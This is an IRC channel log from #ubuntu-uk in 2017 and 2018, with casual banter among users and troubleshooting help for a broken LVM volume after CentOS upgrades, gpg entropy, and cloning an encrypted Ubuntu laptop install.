<zmoylan-pi> be respectful, that wood could have been made from salvaged timbers from a ship that was at trafalgar... :-)
<daftykins> very few models have infrared blasters.
<popey> it's a US and China market thing usually
<daftykins> foobarry: Logitech also sell networked infrared senders afaiui
<foobarry> its a bit weird
<foobarry> ah you can run a client server thing over wifi
<foobarry> potentially useful for raspberry pi robot ? :P
<foobarry> i have Â£18 play balance to burn
<daftykins> just emailed a timber specialist now to come and check out the damage, oy
<daftykins> i can go have a shower up at my clients place :D
<diddledan> "I'll mend your phone, as long as you let me use your shower and then wander around in your shirt and my undies" (or is that last part for a girlfriend to do?)
<diddledan> very weird this idea that women wander around in their partner's shirt
<diplo> foobarry: buy some music ?
<foobarry> i find it quite sexy
<foobarry> yeah i have an album to buy and some films to watch at some pt
<popey> I used to get free t-shirts at events and give them to wifey to wear in bed. She never did, so I now get the super small size ones (which rarely run out) and give them to our daughter.
<popey> She weards nerd t-shirts (so long as they're not too nerdy) to ballet
<foobarry> my wife was waering a long sleeve lenovo tshirt in bed t'other day
<popey> The Twillo one is the best. https://s-media-cache-ak0.pinimg.com/736x/c8/c6/b7/c8c6b75d8662599a9aabe9f54545f702.jpg
<foobarry> when she was pregnant she got to wear the XXL synology tshirt that would never fit us all
<popey> hehe
<foobarry> i have a nice github tshirt
<foobarry> really soft
<popey> i had a mozilla fleece that I got at fosdem one year, lost it, was so nice
<foobarry> i prob have around 15+ free vendor shirts that i regualrly wear
<foobarry> redhat polo, etc etc
<popey> I threw a bunch out to make room
<foobarry> for more free ones
<diplo> Never had one vendor clothing item :) I'm feeling left out
<diplo> Just teaching myself SSL certs ( creating manually with letsencrypt and uploading )
<diddledan> this is awesome security: https://pbs.twimg.com/media/C2iiEv7XUAE72oT.jpg:large
<diplo> I'm guessing there was a barrier on the road before :)
<diddledan> probably find there still is but it was raised when the photo was taken
<davmor2> diddledan: it is the road has a huge current running through which mean cars are safe people aren't ;)
<diddledan> :-p
<diddledan> rubber soles on ya shoes will protect you
<davmor2> diddledan: yes see how effective they are when you are hit by lightning ;)
<diddledan> or run-over by the car which is using the road you're now walking on
<davmor2> diddledan: the one of those that had me in stitches was a big house with biiiiiiig gates and a 3 foot wall that no one would ever be able to scale
<diddledan> I love Apple security announcements: "Description: A memory corruption issue was addressed through improved memory handling"
<diddledan> that's all they say about the bug and the fix
<diddledan> here's the linky: https://support.apple.com/en-gb/HT207477
<diddledan> I wonder if they'd ever say "A <foo> issue was addressed through worsened <bar>"?
<zmoylan-pi> they'll just say they fixed the problem with courage
<diddledan> I like a decent rogan josh courage
<diddledan> mind you I pretty much like most of them
<daftykins> https://dl.dropboxusercontent.com/u/40986798/Video%20call%20snapshot%2023.png
<daftykins> i held the kitty!
<diddledan> awwww awwww awwww *dies of cute overload*
<diddledan> if anyone fancies staying awake all night, linuxconf au is live streaming: https://timvideos.us/
#ubuntu-uk 2017-01-20
<davmor2> Morning all
<JamesTait> Good morning all! Happy Friday, and happy Cheese Lovers' Day! ð  ð
<davmor2> JamesTait: got to be this https://www.youtube.com/watch?v=bVKCHZqax84
<brobostigon> morning boys and girls.
<bittin_> :)
<bittin_> thank you guys :)
<bittin_> also yay Friday!
<bittin_> yeah linux.conf.au is uploading stuff to their youtube channel too last day tommorow
<SuperMatt> what's new, hepacts?
<foobarry> he what?
<SuperMatt> *hepcats
<SuperMatt> silly typing digits went arwy!
<SuperMatt> *awry
<foobarry> pebkacs?
<SuperMatt> Yes, that is indeed the case
<foobarry> debugging drupal and hating it
<foobarry> its so buggy
<SuperMatt> I never got on with Drupal
<foobarry> not by choice
<foobarry> had to migrate a site
<diddledan> I love to hate Drupal.
<diddledan> I am a WordPress guru instead
<bittin_> diddledan: videos from Linux.conf.au is being uploaded too youtube aswell
<diddledan> \o/
<bittin_> o/
<bittin_> funniest error at work this week a printer out of RAM Memory
<bittin_> and did not wanted to print :D
<zmoylan-pi> i remember trying to order an 8k ram upgrade for a dot matrix printer in the 80s... nearly irÂ£300 iirc
<bittin_> heh first time i ever see that happen in real life
<awilkins> Circle of life
<awilkins> They used to fix that by making your computer do all the work in RAM and stream the results to the printer (Winprinters)
<bittin_> awilkins: hehe alright
<awilkins> I blame these fancy new printers that can print graphics
<zmoylan-pi> i also remember out of memory errors in early laser pre winprinters.  you'd have to fiddle with page margins to increase the white space surrounding the page to finally have enough ram
<awilkins> Let's go back to the days when they were just a typewriter with a serial port
<awilkins> And to change font you put a new golf ball in it
<zmoylan-pi> gold ball?! rich sod... we had spindly daisy wheels and were super careful...
<awilkins> Line printers *drool* people who could afford a WHOLE ROW OF DOTS
<diddledan> I remember my dad's 9pin dot matrix printer paused half-way through the line on TEXT to get the remainder of the line into memory
<awilkins> I was the flash git with a 24-pin dot matrix once
<awilkins> Hi-res
<diddledan> it went "brrrrrrt. blip, brrrrrrrt. doooooooooooh." (that last one is the carriage return)
<diddledan> Paul Blart: Mall Cop is more popular than Donald Trumping: https://twitter.com/EliMatthewson/status/822254336189165569
<knightwise> evenin all
<daftykins> \o
<knightwise> hey daftykins , how you doin
<davmor2> diddledan: are you saying his printer is an modem from the 90's
<davmor2> diddledan: or a spectrum loading screen from the 80's
<daftykins> knightwise: not bad thanks! although i'm without a shower at home now due to ongoing insurance claim shenanigans :) https://www.dropbox.com/s/3x6kkk0mgl4knq4/IMG-20170119-WA0011.jpeg?dl=0 just researching sky Q at the moment, how's you?
<knightwise> currently trying out volumio https://volumio.org/get-started
<knightwise> ouch daftykins that is .. impractical
<daftykins> heh indeed, i have a kind client about 5 mins walk away who's letting me use a spare bathroom though
<daftykins> still, not exactly easy
<knightwise> daftykins: thats kind !
<daftykins> yip :> fancy facilities he has too
<daftykins> https://www.dropbox.com/s/m3cww5m46x3lv5x/IMG_20170119_145026.jpg?dl=0
<daftykins> the kittens helped me check it out
<knightwise> Whow .. very impressed with this volumio app
<daftykins> hmm pretty sure there's nothing audiophile about a Pi - although i know you can get additional DAC boards for them :)
<zmoylan-pi> my first computer was a spectrum so the rasp pi's abilities are fantastic :-)
<daftykins> not for audio
<zmoylan-pi> still better than the spectrumns
<zmoylan-pi> whose beep command froze the cpus clock...
<daftykins> the past doesn't have any relevance to looking at a device's capabilities today
<zmoylan-pi> the pi is what it is.  a market leader into minimal computing.  of course there are areas at which it is considered a failure and i'm sure there are other sbc's that do audio far better.  kinda like the original pc for whom sound was also a tacked on experience
<zmoylan-pi> most people thought when the pi was launched that it wouldn't take off and sell many.  not that it would be hacked into every possible and impossible technical areana
<daftykins> none of this disproves my earlier statement
<zmoylan-pi> it's not disproving it, it's explaining why no one thought to put in a feature that no one in their right mind would want
<daftykins> still a little too much like defending imo, which wasn't necessary for that very reason
<daftykins> they're not too bad over HDMI audio :)
<zmoylan-pi> i wouldn't know.  i don't have a screen with hdmi yet... :-)
<zmoylan-pi> i did throw out 2 vga monitors so do finally have space should one fall of the back of a milk float...
<daftykins> crikey
<zmoylan-pi> i did keep the one with scart AND vga mind :-P
<daftykins> i have to disable CEC on one of the music streaming pi3's i have up at a clients 'cause it keeps fighting with his AVR for control o0 very weird
<daftykins> e.g. you have the Marantz AVR on 'sky' to show the sky box, press the button on the sky remote to turn the box on... Pi shows up
 * zmoylan-pi hums... âª the pi came back the very next day... â«
<diplo> hi guys, anyone about ?
<diplo> Got a linux issue, not ubuntu related but need serious help
<daftykins> awaiting details
<diplo> Sorry boss on phone as I started typing
<diplo> He's panicking big time sorry
<daftykins> haha
<diplo> Right, he decided to update some of customer sites today centos
<daftykins> best not be anywhere near the target machine then, nothing like nerves to screw things up further
<diplo> had some issues but mainly resolved by a reboot
<diplo> But one site ( uses lvm ) on reboot we're getting
<diplo>  WARNING: duplicate PV Cqpgzm1cu120p1gaCC5L9dpZXzpSePEb is being used from both devices /dev/sda2 and /dev/sdb2
<daftykins> ah i don't have any LVM experience, i avoid it like the plague
<diplo> So basically when i run pvdisplay it only shows one device so one lv ( where all our customer data resides is empty )
<diplo> So do I, but have more knowledge than the others
<popey> isnt that just a warning?
<diplo> I think metadata has been overwritten from what google tells me
<diplo> Nope, no data in our partition, empty
<popey> diplo: seen http://unix.stackexchange.com/questions/181198/found-duplicate-pv ?
<daftykins> is it a RAID1 setup or something?
<diplo> Normally hardware raid5 and then create the lvm on top
<diplo> Just having a  look popey
<diplo> Yeah I read that one, this is most of the references I can find are reference to san/multipath - this is just sas disks, yum upgrade / reboot and the partitions got screwy
<diplo> Guessing software update has broken something
<popey> eh?
<popey> it's a warning?
<daftykins> doesn't strike me as a big deal.
<popey> whats the actual error?
<diplo> No data ( 50gb ) is not there
<popey> ok, that's more like it :)
<popey> fwiw there is an lvm irc channel :)
<diplo> /dev/mapper/vg_name-lv_u1  101G  188M   96G   1% /u1
<diplo> ooh, I'll try there thanks
<popey> I note agk is in there, he's an expert, dunno if he is around, but he works for redhat and has maintained lvm for years
<popey> also, he's a lovely chap :)
<popey> good luck
<daftykins> :D
<daftykins> and have them know for future not to install OSs using technologies they don't understand *cough*
<daftykins> or even research them so they do :>
<zmoylan-pi> what is thing you call research? :-P
<daftykins> ;)
<daftykins> ouch at my folks being quoted Â£400 to replace their satellite dish, roof aerial and aerial splitter amplifier inside for Â£400
<zmoylan-pi> why all at the same time?
<daftykins> 'cause they're all faulty at the same time
<zmoylan-pi> odd that roof aerial and satellite dish would go wonky at same time
<daftykins> they haven't, they're just the types to grin and bear problems until they congregate :)
<diplo> Cheers popey et all
<zmoylan-pi> ah... the wait till closing time at friday to report serious problems they've had all week type...
<daftykins> pretty much :) more like a many years running thing here though
<daftykins> this one is a symptom of my old man putting in some satellite coax that was lying around instead of doing it properly
<daftykins> still think this quote is rubbish though
<zmoylan-pi> i swear we had one customer not report a pc that was emitting smoke till the friday...
<daftykins> perhaps that was during times of more lenient smoking laws ;)
<zmoylan-pi> 'it wasn't much smoke...'
<zmoylan-pi> and it was fine when they left a window open...
<daftykins> :D nooo not the magic smoke
<daftykins> think i'm just gonna do some of this stuff myself, not much to it after all
<daftykins> just the aerial on the roof i wouldn't do :)
<zmoylan-pi> an array of drones floating an aerial above the house :-P
<diplo> 3 other sites with problems to add to the issues I was already dealing with :) I'm not even the sys admin for work!
<diplo> CentOS upgrades broke 5 sites out of 8 - oopsy
<daftykins> diplo: what's wrong with the sites?
<diplo> Different issue on each :/
<daftykins> the gist? :>
<diplo> One wasn't centos issue per se, for whatever reason resolv.conf reverted to an entry that wasn't pingable, cups wouldn't start, it sat there for 20 mins and still wouldn't boot.. booted to single usermode, disabled cups, rebooted and found it was because cups couldn't resolve the printers?
<diplo> Another /bin/su is no longer there, so can't su ? - Another hasn't come back up ( could be a press F1 or a usb drive plugged in or something ) but these are on remote sites
<diplo> I wasn't involved in any of this btw, I was just called to help :P
<diplo> It all started when I complained that our customer sites weren't up to date, so all my fault on that point
<daftykins> XD
<daftykins> whoops
<daftykins> bit concerned at more than one being done before being confirmed as ok...
<daftykins> also it's not even yum anymore :)
<diplo> hah I said that
<diplo> I said I'd have done it out of hours and one at a time
<daftykins> absolutely
<diplo> Cent6 is yum
<daftykins> and with backups
<daftykins> ah right
<diplo> Yeah, we don't work like that unfortunately, ,well he started to after the issue with the lvm site
<diplo> Think it may be a broken raid, shouldn't be showing sda/sdb
<diplo> Will have to go to site  Iguess
<daftykins> hardware controller you said? how's it managed? my 3wares have a locally managing web admin to check status
<diplo> It's not, I'm sure you're not getting how disorganised this company is :)
<daftykins> wowzer
<diplo> It's been setup and forgotten, pretty much how all our stuff is,
<daftykins> i'm a one man band and i have mine emailing me weekly verification statuses on a Sunday night
<diplo> Basically they get a server in, create a raid5/10 or watever install the OS in a predefined way, send it out with software on it and that's it
<diplo> I want to monitor via nagios ( I already do diskspace )
<diplo> But we don't need a full time sysadmin :)
<zmoylan-pi> until emergencies when you need a full time sysadmin...
<diplo> My exact point, all we do is fire fight, I hate it ( it's why I'm going to interviews )
<daftykins> you could cement yourself into a really good position of them depending on you if you sorted it all out though
<diplo> They do depend on me, anything like this happens I'm always the one gets a call/asked to help
<diplo> I just can't stand working like it all the time, a bit of resources / help but no we don't need it
<diplo> It's frustrating
<diplo> It was fine for the first few years, but as customers have become more dependant on certain things now, everything has become more work, but the company won't keep up with it
<daftykins> :(
<diplo> They're not bad people
<diplo> Just not right for me anymore
<daftykins> mmm i can understand it'd probably seem much easier just to jump ship than try to fight the setup
<diplo> I've been fighting for 6 years :)
<diplo> I've got my way bit by bit, but I'm using my own hardware as servers for testing etc
<diplo> Funny thing is, I'm employed as a web dev :P
<zmoylan-pi> yeah when you start having to supply your own hardware for tests is a smidge unreal
<daftykins> oh ouch
<zmoylan-pi> rasp pis as far as the eye can see? :-P
<daftykins> 'cause ARM would totally help the mess he has already
<diplo> Optiplex, a dell t4 something, a old 4u server
<diplo> Right with that done, I'm off to bed, good night all
<diplo> Thanks for letting me moan :P
<zmoylan-pi> in one drawer of his desk a bank of rasp pis working their little cpus to the limit... in the other drawer a z gauge model rail setup to relax during lunch time...
<zmoylan-pi> o/
<daftykins> wow it's 0 deg C down here in the isles
<zmoylan-pi> a comparitively balmy 5c here... http://isitraining.in/Dublin
<zmoylan-pi> though the ice cream van was missing when i was out shopping earlier...
#ubuntu-uk 2017-01-21
<m0nkey_> WTF? My fortune cookies has no fortune!
<zmoylan-pi> 'the end is null'
<m0nkey_> What's the nvidia driver performance like under Ubuntu these days?
<daftykins> not like you have much choice since i doubt nouveau does much with the 10x0 series :>
<m0nkey_> :)
<m0nkey_> Windows 10 is serving up ads when I hover over the Chrome icon in the taskbar.
<m0nkey_> I think it's time to leave the land of red, green, blue and yellow.
<m0nkey_> And go for something, more.. brownish. :)
<m0nkey_> Wont be able to play GTA, DOOM or Project Cars though :(
<daftykins> you mean when it suggests using Edge?
<daftykins> i think you're daft as a brush to run something which castrates your options, if you're a gamer
<m0nkey_> No, some 'shopping assistant' crap
<m0nkey_> http://www.pcmag.com/news/351171/microsoft-targets-chrome-users-with-windows-10-pop-up-ad
<m0nkey_> Or I go to the even darker side and install BSD :)
<daftykins> ah i don't let chrome be a primary, i use it as a secondary
<zmoylan-pi> i did like a comment on the story on one site.  bsd: free as in speech; linux: free as in beer; windows 10 free as in herpes... :-P
<daftykins> standard childish then
<m0nkey_> lol.. http://i.imgur.com/THWNNKz.gifv
<m0nkey_> Found a longer version :) https://streamable.com/gjklh
<daftykins> haha wow check this out, i decided to explore the wood damage https://www.dropbox.com/sh/vr4kqin5ak002i6/AADwQEivEM65sReucTkGqus0a?dl=0
<brobostigon> morning boys and girls.
<daftykins> https://www.dropbox.com/sh/o8njdizw5hd4ksl/AAB5DDXagT7Wxj3jo8czZDRra?dl=0
<daftykins> bit more progress with my old man's help!
<SebthreeBQM10HD> hi
#ubuntu-uk 2017-01-22
<SebthreeBQM10HD> hi
<brobostigon> morning boys and girls.
<SuperEngineer> o/
<brobostigon> :)
<kernowyon> join #yoper
<diddledan> m00
<diddledan> https://www.irccloud.com/pastebin/cMstNiV3/
<diddledan> err, that paste failed
 * diddledan tries again
<diddledan> this is what happens when you force someone to go to Java https://www.irccloud.com/pastebin/QGdnd1jU/
<penguin42> haha
<diddledan> the text is lifted from this project page: http://pybee.org/project/projects/bridges/batavia/
<penguin42> nice logo
<diddledan> tis cute
<diddledan> I got to that page by watching this linuxcon australia talk on Javascript is Awe-Ful: https://www.youtube.com/watch?v=k3brfCZSFiQ
#ubuntu-uk 2018-01-15
<brobostigon> morning boys and girls.
<zmoylan-pi> o/
<Nafallo> morning
<brobostigon> o/
<SuperMatt> top of the morning to you all
<diplo> Morning all
<foobarry> ali1234: looked at OBS over the weekend, looks really powerful
<foobarry> bit of a learning curve, but certainly looks decent
<m0nkey_> Morning
<diddledan> https://twitter.com/Bouletcorp/status/952899749992165376
<daftykins> what sad news for all Cranberries fans, Dolores O'Riordan passing at 46
<daftykins> i nearly caught a gig early last year but she cancelled it due to 'doctors orders'
<m0nkey_> What's a 1150 socket motherboard I can still get that's any good? Need to go from ITX to ATX because more pcie slots.
<m0nkey_> I want to reuse everything, inc CPU/RAM, etc.
<daftykins> just look for H chipsets for middle o' the road and Z if you wanna get premium features / overclock
<daftykins> m0nkey_: how'd it die?
<m0nkey_> nothing died. just need more pcie slots. figured it'll be cheaper to just replace the board/case than buying into a whole new system
<m0nkey_> especially since ram prices are ridiculous.
<daftykins> diddledan: today's little physicist proceeded to knock the empty amazon box off the desk, then leap into it ;) https://i.imgur.com/ylTggiU.jpg
<diddledan> <3
<diddledan> my sister lost her kitty before xmas - she jumped into a delivery van while nobody was looking and was only discovered as the driver stopped for a delivery a couple miles down the road. unfortunately she leapt out at that point and into the woodlands. someone found her yesterday and she's finally home after over a month in the wild. she's thin and tired but ok *phew*
<daftykins> crikey!
<daftykins> hope she's locking the little devil in for several weeks for recovery
<diddledan> https://usercontent.irccloud-cdn.com/file/GmNEuau9/misty.picture
<diddledan> https://usercontent.irccloud-cdn.com/file/C3qjwZX8/misty.picture2
<diddledan> she's totes adorbs
<daftykins> are those both prior?
<diddledan> nope, they're today and yesterday resp
<daftykins> ah-ha
<daftykins> oh have a bonus Mischief enjoying more of her premium toys - https://www.youtube.com/watch?v=jrfZoNpYNyo
<daftykins> she's a classy lady
<diddledan> gotta love a bit of paper
<m0nkey_> OK, so I've been informed my work cell phone is due for renewal/upgrade
<m0nkey_> I got a chose of Galaxy S7 or iPhone 7. What should I take?
<m0nkey_> *choice
<m0nkey_> Before any asks, it's just for work. Will not be used for music, photos, etc. just voice calls & email.
<daftykins> i avoid both xD
<daftykins> i think the most sensible decision would be based around what you own at home for use of charger sharing etc
<m0nkey_> S7 in that case
<daftykins> vewy gewd
<m0nkey_> And it's done. S7
<m0nkey_> Order is awaiting approval by management
<daftykins> manglement
<m0nkey_> Indeed
<diddledan> I think someone just threatened the Trumpet: https://twitter.com/kerbito/status/952993320887816194
<diddledan> it's all a bit voodoo to me
<daftykins> haha the voodoo who do what you won't dare do, people
<diddledan> wtf did I just watch..? https://www.youtube.com/watch?v=tGZDIv7qKPA
<daftykins> oh dear tux
<daftykins> i don't quite know, but i want no part of it!
#ubuntu-uk 2018-01-16
<Nafallo> morning
<diplo> Morning all
<brobostigon> morning boys and girls.
<SuperMatt> morning
<brobostigon> morning
<czajkowski> morning
<diddledan> why would you put these on the same page with very similar wording?! https://twitter.com/CivilBeat/status/953296034398023681
<zmoylan-pi> because management told you to?
<daftykins> those are all pretty messy
<zmoylan-pi> because they sent over the exact wording they wanted on the page
<zmoylan-pi> because somebody clueless made the decisions
<zmoylan-pi> i usually found on these occasions to send an email warning of the mistakes been made and that your opinion was ignored was the way to go.  then the blame couldn't end up back with me...
<daftykins> :D
<daftykins> i popped into a client just earlier in order to do a face to face of similar, so i don't get cast in a bad light
<zmoylan-pi> and if it's outlook, a printout to pdf and even paper of the email in case it goes... missing...
<zmoylan-pi> and with my boss an option in an ini file moylan=wrong to make it appear as he wanted... it helps to train them...
<diddledan> SNOW!
<SuperMatt> WHERE?
<diddledan> HERE
<diddledan> :-p
<diddledan> Basingstoke
<SuperMatt> Alas, living in London, the extra heat generated by our own self importantance makes it too warm to snow :(
<diddledan> basingstoke has the highest skyscrapers between london and newyork
<SuperMatt> I was not aware of that
<diddledan> that's a lil fact I thought I'd annoy you with :-p
<diddledan> obviously london has higher ones
<SuperMatt> naturally
<SuperMatt> London has the be the best
<SuperMatt> it's what we strive for
<daftykins> diddledan: but does it have Swindons (iirc?) roundabouts? ;D
<daftykins> (psst i know practically nothing about England)
<diddledan> nah we don't have one of those
<daftykins> quick, get some white paint and make one!
<m0nkey_> diddledan: lol
<m0nkey_> you don't have 'snow'
<zmoylan-pi> just frozen rain?
<m0nkey_> it's snowing upwards over here
<m0nkey_> -15C
<Azelphur> toasty 8c here in Margate
<zmoylan-pi> a balmy 0c here in dublin
<daftykins> 1 deg with wind chill here on Guernsey, though 50mph winds
<Azelphur> in spite of being one of the windiest places in the country, only 23 mph here \o/
<diddledan> m0nkey_: tomorrow the country won't work, however
<ali1234> ~info virtualbox bionic
<ali1234> !info virtualbox bionic
<lubotu3> virtualbox (source: virtualbox): x86 virtualization solution - base binaries. In component multiverse, is optional. Version 5.2.4-dfsg-2 (bionic), package size 16560 kB, installed size 76071 kB
<ali1234> has anyone ever tried https://github.com/facebook/watchman?
<ali1234> monitoring file trees on linux is actually incredibly hard for some reason. i'd expect facebook to have done it properly, but i wonder how well it performs.
<ali1234> i mean... i'm sure it performs well on whatever cluster facebook uses it on, but i wonder about running it on a regular PC
#ubuntu-uk 2018-01-17
<Nafallo> morning
<brobostigon> morning boys and girls.
<foobarry> Under the new eligibility requirements announced today, your YouTube channel, is no longer eligible for monetization because it doesnât meet the new threshold of 4,000 hours of watchtime within the past 12 months and 1,000 subscribers.
<foobarry> thats youtube
<foobarry> thanks*
<diplo> Did you ever make money anyhoo foobarry ?
<foobarry> no!
<foobarry> not enough for the threshold to be triggered
<foobarry> but i lived in hope
<diplo> Sounds like to much effort to me :)
<diplo> It's a nice to have, get yourself up there and do re-ask
<SuperMatt> <3 new digital ocean droplet sizes and charges
 * daftykins has a look
<SuperMatt> I was on a 2G 2core 40G box for $20, and now I have 2G 2core 60G for for $15
<daftykins> :) i was on the lowest so i'm doubling RAM to 1GB and that's it, i think
<daftykins> i wonder if i have to power off and on to get the new RAM
<SuperMatt> You need to perform a resize
<SuperMatt> which requires you to power it off first
<daftykins> nah i'm not regaining disk space on mine, just getting more RAM
<daftykins> er gaining, not regaining
<SuperMatt> Look at the flexible options at the bottom, you might find one which fits your needs
<daftykins> mmm nah 3x the price
<SuperMatt> fair enough
<foobarry> hows the new job SuperMatt
<SuperMatt> going well
<SuperMatt> a little slow to start because everyone's busy and there's a lot ot learn
<foobarry> yeah happens a lot
<foobarry> you can always read every ticket on the ticket system
<foobarry> one new starter did that and got a massive powerup in knowledge
<SuperMatt> I'm just doing some work to make sure I can interact easily with terraform
<SuperMatt> I've spent the majority of this and last week getting to grips with their main repos
<m0nkey_> foobarry: It's screwed me over. I have three FreeNAS videos that easily get the required hours, but I don't have enough subscribers.
<foobarry> isn't it an OR
<foobarry> AND sucks
<foobarry> it's like they want to lose user content
<m0nkey_> foobarry: I will likely find another place to host the videos
<m0nkey_> Majority of the views come from the FreeNAS forum anyway, so moving them isn't a huge headache.
#ubuntu-uk 2018-01-18
<MooDoo> howdy all
<brobostigon> morning boys and girls.
<MooDoo> howdy brobostigon
<brobostigon> hi MooDoo
<SuperMatt> morning reprobates
<MooDoo> howdy SuperMatt
 * SuperMatt tips hat
<MooDoo> SuperMatt: new job ok
<MooDoo> ?
<SuperMatt> yeah, it's going well
<SuperMatt> lots of learning to do
<SuperMatt> because there's a lot of insanely clever stuff going on here
<MooDoo> awesome
<czajkowski> ola
<awilkins> Gnnnnneh, Seahorse really needs fixing to tell you that it's generating a key
<awilkins> It just drops out at the end of the dialog and doesn't tell you anything... so gpg2 is sat inthe background because your entropy pool is empty doing nothing
 * awilkins installs `randomsound`
<awilkins> Ok, now it has a plentify supply of real entropy on /dev/random, it's still just sitting there in the background
<foobarry> redhat reverted their spectre microcode update
<foobarry> due to instability
<foobarry> now saying get it yerself
<awilkins> Oh frabgious joy
<SuperMatt> https://www.youtube.com/watch?v=EmFFvvW5yuM
<SuperMatt> lava lamp entropy
<awilkins> Heh, I like randomsound because you can install it on any hardware with a soundcard and get entropy for free (apart from not being able to do a webconf while it's generating)
<awilkins> not sure it's working well though
<MooDoo> windows users - https://www.grc.com/inspectre.htm
<awilkins> My entropy pool seems to be depleting but gpg2 isn't producing that little line of crosses it usually does (well, as far as I can tell from rumours)
<awilkins> Randomsound definitely working because if I cat /dev/random it keeps coming (and my entropy_avail stat drops correspondingly and fills up when I stop it)
<diddledan> https://twitter.com/musalbas/status/953066939001311232
<brobostigon> afternoon boys and girls.
<daftykins> \o
<daftykins> sheesh long one today installing windows on an iMac for a client... no really
<brobostigon> o/
<zmoylan-pi> and remember to put a dos icon on the windows desktop. emulate all the way down... :-)
<daftykins> people used to joke about Windows Time, but have you seen Apple progress bars? "about 45 minutes remaining" means triple it :D
<daftykins> i almost typed out a point by point of what went wrong, but i think you all should be spared that :)
<daftykins> on the plus side, you can cycle off and get a lot done in the time it takes to do an OS upgrade on a mac ;D
<SuperMatt> Macos is just as bad as windows these days
<SuperMatt> they keep adding features, but not bug fixing
<daftykins> oh far far worse, they recently had that root password bypass
<SuperMatt> I've got one of the new macs, thanks to my new job, and it's got a cool finger print feature
<SuperMatt> You'd think that they'd update all their built in password dialogues to use it
<SuperMatt> but it's a mismash of some using it, and some not
<daftykins> is that on the touch bar models?
<SuperMatt> yup
<daftykins> mmm even real fans seem to be groaning at how bad the OS quality control is going
<daftykins> only care about their cash-cow phones and tablets, i imagine
<SuperMatt> I found an issue that was just laugable, which hasn't been fixed for ages
<SuperMatt> if you use three finger swipe to move between virtual desktops, you get a cool "over swipe" effect where the last desktop keeps scrolling and all you see is back
<SuperMatt> I guess it's there to show you that you're on the last desktop and there are no more
<SuperMatt> you can achieve the same thing with ctrl+left and ctrl+right
<SuperMatt> however if you scroll to the right that way and reach the end, it shows the "over swipe" effect on the wrong side of the screen!
<SuperMatt> I'm going to upgrade this machine to high seirra soon, I'll see if it suffers from the same problem, but I find it remarkable that it didn't fail quality checks
<daftykins> :D
<daftykins> sounds quirky, is that happening with El Capitan at the moment then?
<daftykins> i can barely keep up with their release names now
<SuperMatt> Sierra is mainline-1
<SuperMatt> High Sierra is the latest
<SuperMatt> I'm on Sierra
<daftykins> ah yes El Cap must be 10.11
<SuperMatt> I mean, who needsnames that are easy to track?
<SuperMatt> Sounds about right
<daftykins> my main clients ditched their old 2010 models at long last, they didn't really know their way around them
<SuperMatt> If only there was an operating system that named and numbered their releases in such a way that they're easy to track
<SuperMatt> Maybe move through the alphabet for the codename, and have the year and month as the version number
<SuperMatt> it'll never catch on
<daftykins> and users remembered to put 0's in the right place when referring to them ;D
<SuperMatt> One of my gripes is people saying "I've just installed Ubuntu 17"
<daftykins> :S agreed
<SuperMatt> But then, why would most people think minor version numbers matter?
<daftykins> especially for the non-LTS angle in that case
<daftykins> yeah i think it was a fair while before i even realised it was year.month
<directhex> daftykins: the coffee machine in this microsoft office seems to be suffering fro microsoft time. every day, the progress bar on coffee goes a bit less far before it finishes. right now it fills to about 20% before finishing
<directhex> it doesn't make less coffee, it's just the bar declares finished at 20%
<directhex> gets worse daily
<daftykins> :D
<daftykins> what's the brand?
<zmoylan-pi> this is a tea channel!! :-)
<daftykins> never :O
<directhex> daftykins: http://www.vkitech.com/products2.html
#ubuntu-uk 2018-01-19
<elvin> Hi there! I'm trying to figure out one thing regarding a goods delivery in London and I feel stupid since I can't even google the answer. Basically, I'm trying to order some stuff to be delivered to my brother's address in London - do I put my name or his name on the name field in address details form? Does it even matter? What is this name for, anyway? (yes I'm that desperate, asking for
<elvin> an answer at ubuntu channel, hope some of you people are actually from UK)
<diplo> Morning all
<brobostigon> morning boys and girls.
<Laney> that question about a delivery just up there...
<Laney> is that really a UK specific thing?
<Laney> surely you put a name on a parcel almost everywhere
<diplo> I'd have said the same thing Laney
<diplo> I was going to till I tried typing his name :P
<diplo> Probably young
<Laney> ._.
<zmoylan-pi> it can affect delivery. putting his brothers name might trip credit card services as suspicious. his name should be fine on the package.
<Laney> not if it goes back to the sorting office and you then need ID to collect it
<SuperMatt> morning 'buntu
<David1234_> join #ubuntu-it
<SuperMatt> I won't!
<NET||abuse> hey guys, i have a laptop with ubuntu installed (my current work laptop) it's ubuntu 17.10, using LUKS full disk encryption so it's LVM, but otherwise the default way ubuntu sets that up
<NET||abuse> i have a new laptop i need to transfer my install over to, rather than re-install and copy peicemeal, i was hoping to just image the whole machine with an ubuntu boot usb stick and a big external drive
<NET||abuse> but will it work with volume id changes between the old and new machine even if i do a whole disk block level copy?
<NET||abuse> is there a convenient way to get the whole disk copied over using dd or clonezilla or something?
<NET||abuse> and restored without having to lark about with grub config's or anything/ just restore the full image and go?
<NET||abuse> i'm switching over because the current laptop has broken audio and ethernet, the new one is the same model (hp elitebook 620 G3)
<NET||abuse> they wont let me just swap out the disk drive :( corporate asset tagging mess of some sort they're just not willing to let me do
<NET||abuse> any pointers?
<zleap> not sure if this helps,  I have a few HP mini netbooks,  one of my keys recently fell off so I just moved ther hdd to another netbook (same model) and it worked great,  got the keyboard fixed and swapped the hdd back over
<zleap> this was using Lubuntu
<zleap> the same trick worked with google chrome OS
<daftykins> NET||abuse: why don't you just transplant the drive?
<daftykins> oh sorry just read that line
<daftykins> nope no idea, FDE is a mess :)
<NET||abuse> daftykins: :) yeh, i'm a bit restricted with that.
<daftykins> love to see them prove they were swapped xD
<NET||abuse> haha,
<NET||abuse> i dont know but they may have actually registerd the serial number of the disk against the laptop asset tag. garantees on their hardware maybe track to disks too,
<NET||abuse> but then again,,,
<NET||abuse> I could be giving them way too much credit :)
<daftykins> :D
<diddledan> NET||abuse: if they're identical drives then you might be able to dd, but you need the new drive to be larger than the old drive or identical
<diddledan> easiest is to mount the filesystem in a live environment, and copy the data
<NET||abuse> arg,, ok
<diddledan> huh? https://twitter.com/attackerman/status/954416571476307969
<zmoylan-pi> he's read the mythical man month and now believes that if he puts 9 mothers at the task it can be done in one month. duh! :-P
#ubuntu-uk 2018-01-20
<daftykins> hmm, uniquorn... must be a fungi
 * daftykins exits before his uppance will come
<zmoylan-pi> so you can eat one and still be vegan...
<fujisan> popey: good morning i found chatlogs if us chatting 10 years ago
<fujisan> of*
<fujisan> so i'm here now to continue that chat
<fujisan> how have you been these last 10 years?
<fujisan> 2008-2010 i was severely depressed my dad died in 2007, had a lot of mental issues, got help in 2011, dropped back in school, graduated in 2012, worked several jobs now i have a somewhat decent job
<fujisan> did you get all that ubuntulog
<fujisan> thanks :)
